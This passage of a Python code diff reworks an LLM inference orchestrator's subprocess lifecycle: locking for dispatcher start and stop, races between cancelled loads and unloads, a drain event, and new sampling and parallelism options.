         self._cmd_queue: Any = None
         self._resp_queue: Any = None
         self._cancel_event: Any = None  # mp.Event — set to cancel generation
+        # Set for the whole unload; the worker never clears it (unlike _cancel_event),
+        # so a generate queued behind the cancelled one is skipped, not run.
+        self._drain_event: Any = None
         self._gen_lock = threading.Lock()  # Serializes generation
+        # Set during a switch so a generation winning the _gen_lock handoff bails
+        # instead of starting on the outgoing model.
+        self._unload_pending = False
 
         # Dispatcher state for compare mode (adapter-controlled requests):
         # bypass _gen_lock, send commands directly, read from per-request
@@ -69,6 +115,12 @@ class InferenceOrchestrator:
         self._mailbox_lock = threading.Lock()
         self._dispatcher_thread: Optional[threading.Thread] = None
         self._dispatcher_stop = threading.Event()
+        # Serializes dispatcher start/stop. _generate_dispatched (compare mode) bypasses
+        # _gen_lock, so two concurrent compare requests can both reach _start_dispatcher;
+        # without this lock both could observe no live dispatcher and each spawn one,
+        # orphaning the extra thread (self._dispatcher_thread tracks only the last). The
+        # orphan later steals the "unloaded" reply off resp_queue and hangs unload_model.
+        self._dispatcher_lifecycle_lock = threading.Lock()
 
         # Local state mirrors (updated from subprocess responses)
         self.active_model_name: Optional[str] = None
@@ -92,13 +144,11 @@ class InferenceOrchestrator:
 
     @property
     def default_models(self) -> list[str]:
-        # Wait up to 5s for background HF fetch
-        self._top_models_ready.wait(timeout = 5)
         top_gguf = self._top_gguf_cache or []
         top_hub = self._top_hub_cache or []
-        # Curated static defaults first, then HF download-ranked to backfill.
-        # Send extras so the frontend keeps 4 per category after removing
-        # downloaded ones.
+        # Never wait for the remote Hugging Face ranking during startup. Chat's
+        # first /api/models/list needs curated defaults immediately; the
+        # background fetch backfills extra choices on later calls.
         result: list[str] = []
         seen: set[str] = set()
         for m in self._static_models + top_gguf + top_hub:
@@ -148,25 +198,46 @@ class InferenceOrchestrator:
 
     def _spawn_subprocess(self, config: dict) -> None:
         """Spawn a new inference subprocess."""
+        # Same recheck as the training/export spawns, REPAIR reservations only: a
+        # repair swaps without holding the lifecycle gate this load's caller owns,
+        # while an install cannot swap until this gate is released (and then its
+        # queued-load snapshot aborts it), so tolerating installs here lets the
+        # load win instead of failing both sides. Also covers the OpenAI
+        # auto-switch path, which enters _load_model_impl without route guards.
+        from utils.transformers_version import (
+            SidecarSwapInProgress,
+            sidecar_swap_kind,
+        )
+
+        if sidecar_swap_kind() == "repair":
+            raise SidecarSwapInProgress(
+                "A transformers repair is replacing the latest sidecar; retry when it completes."
+            )
         from utils.native_path_leases import (
             native_path_secret_removed_for_child_start,
             run_without_native_path_secret,
         )
+        from utils.hf_cache_settings import child_environment_for_spawn, get_hf_cache_paths
 
-        from .worker import run_inference_process
+        cache_env = get_hf_cache_paths().child_env({})
 
-        with native_path_secret_removed_for_child_start():
+        with (
+            child_environment_for_spawn(cache_env),
+            native_path_secret_removed_for_child_start(),
+        ):
             self._cmd_queue = _CTX.Queue()
             self._resp_queue = _CTX.Queue()
             self._cancel_event = _CTX.Event()
+            self._drain_event = _CTX.Event()
 
             self._proc = _CTX.Process(
                 target = run_without_native_path_secret,
-                args = (run_inference_process,),
+                args = ("core.inference.worker", "run_inference_process", cache_env),
                 kwargs = {
                     "cmd_queue": self._cmd_queue,
                     "resp_queue": self._resp_queue,
                     "cancel_event": self._cancel_event,
+                    "drain_event": self._drain_event,
                     "config": config,
                 },
                 daemon = True,
@@ -182,12 +253,24 @@ class InferenceOrchestrator:
         if self._cancel_event is not None:
             self._cancel_event.set()
 
-    def _shutdown_subprocess(self, timeout: float = 10.0) -> None:
-        """Gracefully shut down the inference subprocess."""
+    def is_worker_alive(self) -> bool:
+        """True while the inference subprocess is running, even with no model
+        active (a failed load can leave a live worker holding sidecar modules)."""
+        proc = self._proc
+        return proc is not None and proc.is_alive()
+
+    def _shutdown_subprocess(self, timeout: float = 10.0) -> bool:
+        """Gracefully shut down the inference subprocess.
+
+        Returns True only once the worker is confirmed dead. If it survives
+        terminate/kill (e.g. wedged in an uninterruptible CUDA syscall that outlives
+        SIGKILL) the live handle is KEPT, not nulled, so is_worker_alive() and the
+        pre-swap liveness guard can still observe the survivor instead of a cleared
+        handle and refuse the destructive sidecar swap."""
         self._stop_dispatcher()  # before killing subprocess
         if self._proc is None or not self._proc.is_alive():
             self._proc = None
-            return
+            return True
 
         # 1. Cancel any ongoing generation first (instant via mp.Event)
         self._cancel_generation()
@@ -224,11 +307,22 @@ class InferenceOrchestrator:
                 except Exception:
                     pass
 
+        if self._proc is not None and self._proc.is_alive():
+            # Survived SIGKILL (uninterruptible syscall): keep the handle so callers
+            # and the pre-swap guard see a live worker rather than a nulled one.
+            logger.error(
+                "Inference subprocess still alive after terminate/kill; "
+                "preserving its handle for the pre-swap liveness check"
+            )
+            return False
+
         self._proc = None
         self._cmd_queue = None
         self._resp_queue = None
         self._cancel_event = None
+        self._drain_event = None
         logger.info("Inference subprocess shut down")
+        return True
 
     def _cleanup(self):
         """atexit handler."""
@@ -409,6 +503,7 @@ class InferenceOrchestrator:
         enable_thinking: Optional[bool] = None,
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
+        presence_penalty: float = 0.0,
     ) -> dict:
         """Build the 'generate' command shared by the locked and dispatched paths."""
         cmd = {
@@ -423,6 +518,7 @@ class InferenceOrchestrator:
             "min_p": min_p,
             "max_new_tokens": max_new_tokens,
             "repetition_penalty": repetition_penalty,
+            "presence_penalty": presence_penalty,
         }
         # Only forward template kwargs the caller set, for older worker compat.
         if use_adapter is not None:
@@ -456,12 +552,26 @@ class InferenceOrchestrator:
         cancel ack from that same source so stale events don't leak into the
         next request.
         """
+        # Latch this stream's subprocess/queue: if a wedged worker is torn down and a
+        # later load spawns a fresh one, bail rather than re-block on the new queue
+        # under _gen_lock (deadlock).
+        initial_proc = self._proc
+        initial_resp_queue = self._resp_queue
         while True:
+            if self._proc is not initial_proc or self._resp_queue is not initial_resp_queue:
+                yield GenStreamError(
+                    f"Error: {self._subprocess_crash_message(crash_context)}",
+                    public = True,
+                )
+                return
             resp = read_one(read_timeout)
             if resp is None:
                 # Check subprocess health
                 if not self._ensure_subprocess_alive():
-                    yield f"Error: {self._subprocess_crash_message(crash_context)}"
+                    yield GenStreamError(
+                        f"Error: {self._subprocess_crash_message(crash_context)}",
+                        public = True,
+                    )
                     return
                 continue
 
@@ -471,7 +581,7 @@ class InferenceOrchestrator:
             # Subprocess-level error (no request_id); request-scoped failures
             # arrive as gen_error below.
             if rtype == "error" and not resp.get("request_id"):
-                yield f"Error: {resp.get('error', 'Unknown error')}"
+                yield GenStreamError(f"Error: {resp.get('error', 'Unknown error')}")
                 return
 
             if rtype == "token":
@@ -486,40 +596,63 @@ class InferenceOrchestrator:
                     stats_holder["stats"] = resp.get("stats")
                 return
             elif rtype == "gen_error":
-                yield f"Error: {resp.get('error', 'Unknown error')}"
+                yield GenStreamError(f"Error: {resp.get('error', 'Unknown error')}")
                 return
 
     # ------------------------------------------------------------------
     # Dispatcher — per-request mailbox routing for compare mode
     # ------------------------------------------------------------------
 
-    def _start_dispatcher(self) -> None:
+    def _start_dispatcher(self) -> bool:
         """Start the dispatcher thread if not already running.
 
         The dispatcher reads the shared resp_queue and routes responses to
         per-request mailbox queues, letting multiple adapter-controlled
         (compare) requests be in-flight without holding _gen_lock.
-        """
-        if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
-            return
 
-        self._dispatcher_stop.clear()
-        self._dispatcher_thread = threading.Thread(
-            target = self._dispatcher_loop,
-            daemon = True,
-            name = "inference-dispatcher",
-        )
-        self._dispatcher_thread.start()
-        logger.debug("Dispatcher thread started")
+        The whole check-then-spawn runs under _dispatcher_lifecycle_lock so
+        concurrent compare requests (which bypass _gen_lock) can't both observe
+        no live dispatcher and each spawn one. Returns True only for the caller
+        that actually started a new thread; False if one was already alive.
+        """
+        with self._dispatcher_lifecycle_lock:
+            # Refuse to start while an unload is in progress. unload_model sets
+            # _unload_pending under this same lock before it stops the idle
+            # dispatcher, so a start queued behind that stop observes the unload
+            # here and bails. Without this a fresh dispatcher would be spawned
+            # after the stop, become the resp_queue reader, and consume the
+            # worker's "unloaded" reply (unroutable, so dropped) before
+            # unload_model's _wait_response sees it -- hanging the unload 300s.
+            if self._unload_pending:
+                return False
+            if self._dispatcher_thread is not None and self._dispatcher_thread.is_alive():
+                return False
+
+            self._dispatcher_stop.clear()
+            self._dispatcher_thread = threading.Thread(
+                target = self._dispatcher_loop,
+                daemon = True,
+                name = "inference-dispatcher",
+            )
+            self._dispatcher_thread.start()
+            logger.debug("Dispatcher thread started")
+            return True
 
     def _stop_dispatcher(self) -> None:
-        """Signal the dispatcher to stop and wait for it."""
-        if self._dispatcher_thread is None:
-            return
-        self._dispatcher_stop.set()
-        self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
-        self._dispatcher_thread = None
-        logger.debug("Dispatcher thread stopped")
+        """Signal the dispatcher to stop and wait for it.
+
+        Runs under _dispatcher_lifecycle_lock (paired with _start_dispatcher) so
+        a stop can't interleave with a concurrent start. Callers must NOT hold
+        _mailbox_lock here: this joins the dispatcher, and the dispatcher loop
+        takes _mailbox_lock, so holding it would deadlock the join.
+        """
+        with self._dispatcher_lifecycle_lock:
+            if self._dispatcher_thread is None:
+                return
+            self._dispatcher_stop.set()
+            self._dispatcher_thread.join(timeout = _DISPATCH_STOP_TIMEOUT)
+            self._dispatcher_thread = None
+            logger.debug("Dispatcher thread stopped")
 
     def _dispatcher_loop(self) -> None:
         """Background loop: read resp_queue → route to mailboxes by request_id."""
@@ -581,6 +714,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Dispatched generation — sends command without holding _gen_lock.
 
@@ -589,15 +723,32 @@ class InferenceOrchestrator:
         GPU work stays serialized; this only avoids orchestrator lock contention.
         """
         if not self._ensure_subprocess_alive():
-            yield "Error: Inference subprocess is not running"
+            yield GenStreamError("Error: Inference subprocess is not running", public = True)
             return
 
         if not self.active_model_name:
-            yield "Error: No active model"
+            yield GenStreamError("Error: No active model", public = True)
+            return
+        # Latch the target model so the recheck below can detect a switch that completed
+        # between _start_dispatcher and mailbox registration (mirrors the locked path's
+        # expected_model check).
+        expected_model = self.active_model_name
+
+        # Switch in flight (unload waiting on _gen_lock). This path bypasses the lock,
+        # so without this early-out a compare request would enqueue a generate on the
+        # outgoing model and delay the switch.
+        if self._unload_pending:
+            yield GenStreamError("Error: model is being unloaded", public = True)
             return
 
-        # Ensure dispatcher is running
-        self._start_dispatcher()
+        # Ensure the dispatcher runs. _start_dispatcher serializes concurrent starters under
+        # _dispatcher_lifecycle_lock and returns True only for the caller that actually spawned
+        # the thread, so at most one dispatcher ever exists even when two compare requests race
+        # here. Derive dispatcher_preexisting from that atomic result (not a separate unlocked
+        # is_alive() read): if THIS call started the dispatcher and then bails on a racing
+        # unload, it must stop it again (see the unloading bail below).
+        started = self._start_dispatcher()
+        dispatcher_preexisting = not started
 
         request_id = str(uuid.uuid4())
 
@@ -617,6 +768,7 @@ class InferenceOrchestrator:
             min_p = min_p,
             max_new_tokens = max_new_tokens,
             repetition_penalty = repetition_penalty,
+            presence_penalty = presence_penalty,
             use_adapter = use_adapter,
             tools = tools,
             enable_thinking = enable_thinking,
@@ -624,17 +776,49 @@ class InferenceOrchestrator:
             preserve_thinking = preserve_thinking,
         )
 
-        # Create mailbox BEFORE sending command
+        # Create the mailbox BEFORE sending, rechecking _unload_pending under
+        # _mailbox_lock: an unload sets _unload_pending before _wait_dispatcher_idle
+        # reads _mailboxes under the same lock, so either the idle check sees this
+        # mailbox (and tears the dispatcher down) or we see the unload and bail.
+        # Registering after would orphan the mailbox and hang the compare stream forever.
         mailbox: queue.Queue = queue.Queue()
         with self._mailbox_lock:
-            self._mailboxes[request_id] = mailbox
+            # _unload_pending alone is not enough: an unload that ran fully since
+            # _start_dispatcher clears it in its finally and stops the dispatcher, so it
+            # reads False here though the dispatcher is gone and the model swapped. Also
+            # bail when the active model changed or the dispatcher died: a mailbox with no
+            # dispatcher to route gen_done/gen_error hangs the compare stream.
+            dispatcher_alive = (
+                self._dispatcher_thread is not None and self._dispatcher_thread.is_alive()
+            )
+            unloading = (
+                self._unload_pending
+                or self.active_model_name != expected_model
+                or not dispatcher_alive
+            )
+            if not unloading:
+                self._mailboxes[request_id] = mailbox
+            # When bailing without a mailbox, note whether any OTHER compare request still
+            # routes through the dispatcher; if none and this call started it, stop it below.
+            orphaned_dispatcher = unloading and not dispatcher_preexisting and not self._mailboxes
+        if unloading:
+            # A racing unload can pass its _wait_dispatcher_idle() while the dispatcher was
+            # stopped, then set _unload_pending. The one we just started would otherwise
+            # linger with no mailboxes, race unload_model's _wait_response for the "unloaded"
+            # reply off resp_queue, and drop it as unroutable -- hanging the unload 300s. Stop
+            # it here so the unload stays the sole resp_queue reader. Outside _mailbox_lock:
+            # _stop_dispatcher joins the dispatcher, which itself takes that lock.
+            if orphaned_dispatcher:
+                self._stop_dispatcher()
+            yield GenStreamError("Error: model is being unloaded", public = True)
+            return
 
         try:
             self._send_cmd(cmd)
         except RuntimeError as exc:
             with self._mailbox_lock:
                 self._mailboxes.pop(request_id, None)
-            yield f"Error: {exc}"
+            yield GenStreamError(f"Error: {exc}")
             return
 
         def read_mailbox(timeout):
@@ -676,14 +860,18 @@ class InferenceOrchestrator:
                 return
         logger.warning("Timed out draining mailbox after cancel")
 
-    def _wait_dispatcher_idle(self) -> None:
+    def _wait_dispatcher_idle(self) -> bool:
         """Wait for all dispatched requests to complete, then stop dispatcher.
 
-        Called by _generate_inner before the _gen_lock path so the dispatcher
-        thread isn't competing for resp_queue reads.
+        Returns True if the dispatcher was stopped (all mailboxes drained, or no
+        dispatcher was running), and False if it was left running because compare
+        requests were still active after _DISPATCH_IDLE_TIMEOUT.
+
+        Called before the _gen_lock path so the dispatcher thread isn't competing
+        for resp_queue reads.
         """
         if self._dispatcher_thread is None or not self._dispatcher_thread.is_alive():
-            return
+            return True
 
         # Wait for all mailboxes to be emptied (dispatched requests complete)
         deadline = time.monotonic() + _DISPATCH_IDLE_TIMEOUT
@@ -704,13 +892,74 @@ class InferenceOrchestrator:
                 "leaving dispatcher running for compare requests",
                 len(self._mailboxes),
             )
-        else:
-            self._stop_dispatcher()
+            return False
+        self._stop_dispatcher()
+        return True
+
+    def share_distributed_object(
+        self,
+        obj,
+        timeout: Optional[float] = 300.0,
+    ):
+        """Share a small object through the worker's MLX distributed group."""
+        if not self._ensure_subprocess_alive():
+            raise RuntimeError("Inference subprocess is not running")
+
+        self._wait_dispatcher_idle()
+        with self._mailbox_lock:
+            if self._mailboxes:
+                raise RuntimeError(
+                    "Cannot share distributed objects while compare requests are active"
+                )
+        request_id = str(uuid.uuid4())
+        cmd = {
+            "type": "share_object",
+            "request_id": request_id,
+            "object": obj,
+        }
+
+        with self._gen_lock:
+            self._send_cmd(cmd)
+            deadline = None if timeout is None else time.monotonic() + timeout
+            while deadline is None or time.monotonic() < deadline:
+                remaining = 1.0 if deadline is None else max(0.1, deadline - time.monotonic())
+                resp = self._read_resp(timeout = min(remaining, 1.0))
+                if resp is None:
+                    if not self._ensure_subprocess_alive():
+                        raise RuntimeError(self._subprocess_crash_message("sharing chat turn"))
+                    continue
+
+                rtype = resp.get("type", "")
+                rid = resp.get("request_id")
+                if rid and rid != request_id:
+                    logger.debug(
+                        "Skipping response for request_id=%s while sharing request_id=%s",
+                        rid,
+                        request_id,
+                    )
+                    continue
+                if rtype == "shared":
+                    return resp.get("object")
+                if rtype == "share_error":
+                    raise RuntimeError(resp.get("error", "Failed to share object"))
+                if rtype == "error":
+                    raise RuntimeError(resp.get("error", "Subprocess error"))
+                if rtype == "status":
+                    continue
+
+            raise RuntimeError("Timeout waiting for distributed object share")
 
     # ------------------------------------------------------------------
     # Public API — same interface as InferenceBackend
     # ------------------------------------------------------------------
 
+    # Monotonic count of PUBLISHED loads; lets the install route detect a load
+    # (including a same-model reload) that completed while it waited on the gate.
+    # Bumped when the load result is published, not at load start: a start-time
+    # bump is already visible when the installer snapshots mid-load, so the
+    # completed reload would look unchanged and get unloaded by the swap.
+    load_generation: int = 0
+
     def load_model(
         self,
         config,  # ModelConfig
@@ -722,6 +971,8 @@ class InferenceOrchestrator:
         approved_remote_code_fingerprint: Optional[str] = None,
         gpu_ids: Optional[list[int]] = None,
         subject: Optional[str] = None,
+        tensor_parallel: bool = False,
+        mlx_distributed: bool = False,
     ) -> bool:
         """Load a model for inference.
 
@@ -747,6 +998,11 @@ class InferenceOrchestrator:
                 "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
                 "subject": subject,
                 "gpu_ids": gpu_ids,
+                "tensor_parallel": bool(tensor_parallel),
+                "mlx_distributed": bool(mlx_distributed),
+                "mlx_parallel_mode": ("tensor" if tensor_parallel else "pipeline")
+                if mlx_distributed
+                else None,
             }
             resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
                 gpu_ids,
@@ -757,13 +1013,36 @@ class InferenceOrchestrator:
             sub_config["resolved_gpu_ids"] = resolved_gpu_ids
             sub_config["gpu_selection"] = gpu_selection
 
+            # Recheck the sidecar reservation BEFORE tearing the old worker down,
+            # for REPAIRS only: an install holds this same lifecycle gate, so it
+            # cannot swap while this load runs, and its queued-load snapshot
+            # aborts it after this load publishes -- the load wins cleanly.
+            # Raising here (repair) keeps the current model loaded.
+            from utils.transformers_version import (
+                SidecarSwapInProgress,
+                sidecar_swap_kind,
+            )
+
+            if sidecar_swap_kind() == "repair":
+                raise SidecarSwapInProgress(
+                    "A transformers repair is replacing the latest sidecar; "
+                    "retry when it completes."
+                )
+
             # Always kill the existing subprocess and spawn fresh: reusing one
             # after unsloth patches torch internals breaks getsource on reload.
             if self._ensure_subprocess_alive():
                 self._cancel_generation()
                 time.sleep(0.3)
-                self._shutdown_subprocess()
-
+                if self._shutdown_subprocess() is False:
+                    # The worker survived terminate/kill (e.g. a wedged CUDA syscall that
+                    # outlives SIGKILL). Its handle is kept, so is_worker_alive() and the
+                    # pre-swap guard still see it; do not spawn a second worker over one
+                    # still holding GPU memory. Fail so the load can retry once it exits.
+                    raise RuntimeError(
+                        "The current inference worker did not exit and still holds GPU "
+                        "memory; not starting a new model over it. Retry shortly."
+                    )
             elif self._proc is not None:
                 self._shutdown_subprocess(timeout = 2)
 
@@ -772,6 +1051,19 @@ class InferenceOrchestrator:
             )
 
             for attempt in range(2):
+                # Stop-loading (/unload -> cancel_load) aborts a load by discarding this
+                # model's loading marker. cancel_load only kills a live child; if the cancel
+                # lands before any child exists (GPU placement, or between retries) there is
+                # nothing to kill, and without this check the loop would spawn a worker and
+                # load the model after /unload reported it unloaded. Observe removal and stop.
+                if model_name not in self.loading_models:
+                    logger.info(
+                        "Load for '%s' was cancelled before spawn; not starting a worker",
+                        model_name,
+                    )
+                    self.active_model_name = None
+                    self.models.clear()
+                    return False
                 logger.info(
                     "Spawning fresh inference subprocess for '%s' "
                     "(transformers %s.x, attempt %d/2%s)",
@@ -783,6 +1075,22 @@ class InferenceOrchestrator:
                 sub_config["disable_xet"] = disable_xet
                 self._spawn_subprocess(sub_config)
 
+                # A cancel can land after the pre-spawn recheck but while _spawn_subprocess
+                # is still creating the queues/process. cancel_load runs off the lifecycle
+                # gate, so its _shutdown_subprocess can see _proc still None and no-op,
+                # orphaning this fresh worker; the load would then wait for "loaded" and
+                # publish a model /unload reported unloaded, over a live subprocess nothing
+                # reaps. Recheck now the child exists and tear it down before publishing.
+                if model_name not in self.loading_models:
+                    logger.info(
+                        "Load for '%s' was cancelled during spawn; tearing the worker down",
+                        model_name,
+                    )
+                    self._shutdown_subprocess(timeout = 5)
+                    self.active_model_name = None
+                    self.models.clear()
+                    return False
+
                 try:
                     resp = self._wait_response("loaded")
                 except DownloadStallError:
@@ -803,8 +1111,32 @@ class InferenceOrchestrator:
                     )
 
                 if resp.get("success"):
+                    # A cancel can land while we were parked in _wait_response above.
+                    # cancel_load (off the lifecycle gate) discards this model's loading
+                    # marker BEFORE its teardown, so a Stop-loading that fired after the
+                    # worker queued "loaded" (which we can still consume during cancel_load's
+                    # shutdown window) shows up here only as the marker's removal. Without
+                    # this recheck we would publish active_model_name/models for a model
+                    # /unload reported cancelled, over a subprocess cancel_load just killed;
+                    # its post-teardown re-clear cannot undo a publish that lands after it
+                    # returns. Observe the removal and abort; cancel_load owns teardown.
+                    if model_name not in self.loading_models:
+                        logger.info(
+                            "Load for '%s' was cancelled while waiting for 'loaded'; "
+                            "not publishing the cancelled model",
+                            model_name,
+                        )
+                        self.active_model_name = None
+                        self.models.clear()
+                        return False
                     model_info = resp.get("model_info", {})
                     self.active_model_name = model_info.get("identifier", model_name)
+                    self.load_generation += 1
+                    # A load always spawns a fresh subprocess holding only this model, so
+                    # mirror that. A lingering stale name would pass unload_model's "not in
+                    # self.models" guard, and the worker's absent-name fallback would unload
+                    # its *active* model, not the already-gone one.
+                    self.models = {}
                     self.models[self.active_model_name] = {
                         "is_vision": model_info.get("is_vision", False),
                         "is_lora": model_info.get("is_lora", False),
@@ -831,23 +1163,78 @@ class InferenceOrchestrator:
                     self.models.clear()
                     raise Exception(error)
 
-        except Exception:
+        except Exception as exc:
             self.loading_models.discard(model_name)
+            from utils.transformers_version import SidecarSwapInProgress
+
+            if isinstance(exc, SidecarSwapInProgress) and self._ensure_subprocess_alive():
+                # Raised before the old worker was torn down: the previous model
+                # is still live, so keep the mirrors (clearing them would let the
+                # installer treat the worker as inactive and kill it unreported).
+                raise
             self.active_model_name = None
             self.models.clear()
             raise
 
-    def unload_model(self, model_name: str) -> bool:
-        """Unload a model from the subprocess."""
-        if model_name in self.loading_models:
-            logger.info(
-                "Cancelling in-flight load for model '%s' by terminating subprocess",
+    def cancel_load(self, model_name: str) -> bool:
+        """Abort an in-flight load by terminating its subprocess.
+
+        Returns True if a load for ``model_name`` (matched case-insensitively) was
+        cancelled, False if nothing was loading under that name. This only tears the
+        loading subprocess down -- it sends no command to a worker -- so, unlike the
+        rest of ``unload_model``, it is safe to run WITHOUT the inference lifecycle
+        gate. ``/unload`` calls it off-gate so the "stop loading" button can interrupt
+        a safetensors load that holds the gate for its whole (multi-minute) duration;
+        a gated cancel could never preempt that load.
+        """
+        target = model_name
+        if target not in self.loading_models:
+            target = next(
+                (m for m in self.loading_models if m.lower() == model_name.lower()),
                 model_name,
             )
-            self._shutdown_subprocess(timeout = 0.5)
-            self.loading_models.discard(model_name)
-            self.active_model_name = None
-            self.models.clear()
+        if target not in self.loading_models:
+            return False
+        logger.info(
+            "Cancelling in-flight load for model '%s' by terminating subprocess",
+            target,
+        )
+        # Discard the loading marker (and clear local state) BEFORE the teardown, not
+        # after. cancel_load runs off the lifecycle gate, alongside a load_model that
+        # rechecks this marker before each spawn. But _shutdown_subprocess can block (~1s
+        # tearing a live child down and joining the dispatcher), so clearing only after
+        # leaves a window where load_model reads the marker still set, passes its pre-spawn
+        # recheck, and loads the model after /unload reported it cancelled. Clear first.
+        self.loading_models.discard(target)
+        self.active_model_name = None
+        self.models.clear()
+        self._shutdown_subprocess(timeout = 0.5)
+        # Clear the local mirrors again AFTER the teardown. A racing off-gate load_model
+        # may still be parked in _wait_response("loaded"): its worker already queued a
+        # "loaded" reply, so during the shutdown window above (the 0.5s settle before the
+        # response queue is drained and nulled) that thread can consume it and repopulate
+        # active_model_name/models, undoing the pre-teardown clear. _shutdown_subprocess
+        # nulls the queue but not the mirrors, so without this second clear /unload reports
+        # success while the backend still advertises a killed model. The nulled queue lets
+        # no further "loaded" through, so re-clearing here wipes any repopulation.
+        self.active_model_name = None
+        self.models.clear()
+        return True
+
+    def unload_model(self, model_name: str) -> bool:
+        """Unload a model from the subprocess."""
+        # active_model_name can differ in case from the client's raw /unload name (the
+        # load path canonicalizes casing). Match case-insensitively and use the canonical
+        # spelling so the guard, unload command, and cleanup below hit the loaded model.
+        if (
+            self.active_model_name is not None
+            and model_name != self.active_model_name
+            and model_name.lower() == self.active_model_name.lower()
+        ):
+            model_name = self.active_model_name
+        # In-flight load: tear its subprocess down (shared loading-cancel logic; no
+        # worker command sent).
+        if self.cancel_load(model_name):
             return True
 
         if not self._ensure_subprocess_alive():
@@ -857,30 +1244,93 @@ class InferenceOrchestrator:
                 self.active_model_name = None
             return True
 
-        try:
-            self._send_cmd(
-                {
-                    "type": "unload",
-                    "model_name": model_name,
-                }
-            )
-            resp = self._wait_response("unloaded")
-
-            # Update local state
+        # Nothing loaded under this name: don't unload a stale model. The worker falls
+        # back to unloading its *active* model when the name is absent, so a stale unload
+        # (lost a race to a concurrent load) would hit the wrong one.
+        if model_name != self.active_model_name and model_name not in self.models:
             self.models.pop(model_name, None)
-            if self.active_model_name == model_name:
-                self.active_model_name = None
-
-            logger.info("Model '%s' unloaded from subprocess", model_name)
             return True
 
-        except Exception as exc:
-            logger.error("Error unloading model '%s': %s", model_name, exc)
-            # Clear local state anyway
-            self.models.pop(model_name, None)
-            if self.active_model_name == model_name:
-                self.active_model_name = None
-            return False
+        # The subprocess runs commands sequentially, so a bare unload queues behind a
+        # running generate (a 2-3 min hang). Cancel first (via the mp.Event the worker
+        # polls each token), then take _gen_lock as sole resp_queue reader (like GGUF).
+        #
+        # Set _unload_pending under _dispatcher_lifecycle_lock so it is ordered ahead of
+        # the dispatcher stop that _wait_dispatcher_idle runs under the same lock: a
+        # compare request's _start_dispatcher queued behind that stop then observes the
+        # unload and refuses to spawn a fresh dispatcher that would eat the "unloaded"
+        # reply off resp_queue. This is a standalone acquisition (no _gen_lock held yet),
+        # so it keeps the _gen_lock -> _dispatcher_lifecycle_lock order and can't deadlock.
+        with self._dispatcher_lifecycle_lock:
+            self._unload_pending = True
+        # Cancelling only the running generation isn't enough: the worker clears
+        # cancel_event at each generate start, so a queued one would clear it and run the
+        # outgoing model to completion. drain_event, never cleared, makes any generate
+        # dequeued during the unload skip.
+        if self._drain_event is not None:
+            self._drain_event.set()
+        try:
+            self._cancel_generation()
+            acquired = self._gen_lock.acquire(timeout = _UNLOAD_GEN_LOCK_TIMEOUT)
+            if not acquired:
+                # Wedged worker: tear the subprocess down to free the GPU (next load respawns).
+                logger.warning(
+                    "Unload: generation did not yield %.1fs after cancel; "
+                    "shutting the inference subprocess down to free the model",
+                    _UNLOAD_GEN_LOCK_TIMEOUT,
+                )
+                self._shutdown_subprocess(timeout = 5)
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+                return True
+
+            try:
+                # Stop the compare-mode dispatcher so it can't consume the "unloaded" reply
+                # off resp_queue before we do. A dispatched generation bypasses _gen_lock, so
+                # a wedged one slips past the acquire above; if the dispatcher is still active
+                # it owns resp_queue and the queued unload hangs _wait_response behind the
+                # stuck generate. Mirror the wedged locked path: tear the subprocess down.
+                if not self._wait_dispatcher_idle():
+                    logger.warning(
+                        "Unload: compare-mode dispatcher still active after idle "
+                        "wait; shutting the inference subprocess down to free the model"
+                    )
+                    self._shutdown_subprocess(timeout = 5)
+                    self.models.pop(model_name, None)
+                    if self.active_model_name == model_name:
+                        self.active_model_name = None
+                    return True
+                # Drop stale tokens so they can't be read as the unload reply.
+                self._drain_queue()
+                self._send_cmd(
+                    {
+                        "type": "unload",
+                        "model_name": model_name,
+                    }
+                )
+                self._wait_response("unloaded")
+
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+
+                logger.info("Model '%s' unloaded from subprocess", model_name)
+                return True
+
+            except Exception as exc:
+                logger.error("Error unloading model '%s': %s", model_name, exc)
+                # Clear local state anyway
+                self.models.pop(model_name, None)
+                if self.active_model_name == model_name:
+                    self.active_model_name = None
+                return False
+            finally:
+                self._gen_lock.release()
+        finally:
+            self._unload_pending = False
+            if self._drain_event is not None:
+                self._drain_event.clear()
 
     def generate_chat_response(
         self,
@@ -899,6 +1349,7 @@ class InferenceOrchestrator:
         reasoning_effort: Optional[str] = None,
         preserve_thinking: Optional[bool] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
     ) -> Generator[str, None, None]:
         """Generate response, streaming tokens from subprocess.
 
@@ -908,6 +1359,8 @@ class InferenceOrchestrator:
 
         ``stats_holder``: caller-owned dict; on gen_done its "stats" key gets
         the worker's usage/timings. Request-scoped to avoid cross-stream reads.
+
+        ``presence_penalty`` matches the GGUF sampling path (0 disables it).
         """
         yield from self._generate_inner(
             messages = messages,
@@ -926,6 +1379,7 @@ class InferenceOrchestrator:
             reasoning_effort = reasoning_effort,
             preserve_thinking = preserve_thinking,
             stats_holder = stats_holder,
+            presence_penalty = presence_penalty,
         )
 
     def generate_chat_completion_with_tools(
@@ -945,13 +1399,18 @@ class InferenceOrchestrator:
         preserve_thinking: Optional[bool] = None,
         max_tool_iterations: int = 25,
         auto_heal_tool_calls: bool = True,
+        nudge_tool_calls: Optional[bool] = None,
         tool_call_timeout: int = 300,
         session_id: Optional[str] = None,
+        thread_id: Optional[str] = None,
         rag_scope: Optional[dict] = None,
         confirm_tool_calls: bool = False,
         bypass_permissions: bool = False,
+        permission_mode: Optional[str] = None,
         use_adapter: Optional[Union[bool, str]] = None,
         stats_holder: Optional[dict] = None,
+        presence_penalty: float = 0.0,
+        reasoning_prefilled: bool = False,
         **_unused,
     ):
         """Run the safetensors agentic tool loop in the parent process,
@@ -987,14 +1446,30 @@ class InferenceOrchestrator:
                 preserve_thinking = preserve_thinking,
                 # last turn wins, like the GGUF tool loop
                 stats_holder = stats_holder,
+                presence_penalty = presence_penalty,
             )
             if use_adapter is not None:
-                yield from self.generate_with_adapter_control(
+                stream = self.generate_with_adapter_control(
